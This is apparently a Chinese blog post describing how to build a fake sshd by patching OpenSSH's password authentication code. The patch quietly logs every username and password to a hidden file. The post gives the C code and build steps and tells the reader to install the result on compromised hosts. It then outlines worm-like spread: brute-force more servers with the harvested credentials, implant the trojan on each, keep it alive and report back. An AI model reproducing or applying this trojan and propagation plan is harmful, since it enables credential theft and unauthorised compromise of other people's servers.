fake sshd
WannaCry
最近WannaCry
的影响终于过去了,通过这次全世界大规模蠕虫感染自己还是有一些感悟的,WannaCry的传播算是对这个严重的漏洞做了一个收尾,在我看来这样是好的,因为他并没有更坏。自己之所以走上今天这条道路,也是因为当年高中一个同学在操场上捡了一本‘黑客档案’,对于安全,我还是很感兴趣的,如果换做是我,我能不能写出一个类似的东西呢,静下心来,本着对技术的研究,打算一步一步完善自己的工具链,因为linux下不常有大规模的严重漏洞,只能通过字典进行暴力破解,之前已经写过一个扫描器和sshd了,也部署在了自己的VPS,收集了大量高质量的用户名和密码。地址:https://github.com/oiooj/honeypot_fish
.扫描器是可以复用的,之前的那个sshd
就不行了,为什么? 因为不够真,不够fake。
From C
想要做的真实就要基于官方的进行修改,简单且逼真。地址:https://github.com/openssh/openssh-portable 做好编译的所有准备:
你可能会遇到各种各样的问题,下面的命令可能能帮助到你。
0. yum install openssl-devel
# cd src dir
1. autoheader
2. autoconfig
3. ./configure --prefix=/tmp/fakessh
4. make
#You will need uudecode installed, which is probably in the "sharutils" rpm.
5. yum install sharutils
6. cd scard && make -f Makefile.in distprep
7. make install
测试编译没有问题,开始动手:
修改 auth-passwd.c
添加自己的记录函数
int save_user_pass(Authctxt *authctxt, const char *password)
{
char buffer[512];
FILE *fp;
if (password==NULL || authctxt==NULL)
return -1;
fp = fopen("/tmp/.siskin", "a+");
if (fp)
{
if (authctxt->user)
{
snprintf(buffer, sizeof(buffer), "user=%s, passwd=%s, host=%s\r\n", authctxt->user, password, "test");
fwrite(buffer, strlen(buffer), 1, fp);
}
fclose(fp);
}
return 0;
}
在auth_password
中调用上面的函数
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int
auth_password(Authctxt *authctxt, const char *password)
{
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
# insert here
save_user_pass(authctxt, password);
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
....
编译 make && make install
在肉鸡上替换掉原来的sshd. restart, done.
[root@LT openssh-portable-V_5_3_P1]# cat /tmp/.siskin
user=root, passwd=, host=test
user=root, passwd=1234, host=test
user=root, passwd=dkfjefnd, host=test
接下来 用扫描器反扫这些服务器,如果成功了,替换sshd,部署扫描器,不断感染下去。当然如何让自己在肉鸡上尽可能长久的存活下去,同时上报给你也是非常重要的。
如果想做跳板机做审计,可以参开这篇文章:https://my.oschina.net/beiyou/blog/76766,其实这种侵入性审计不是特别推荐。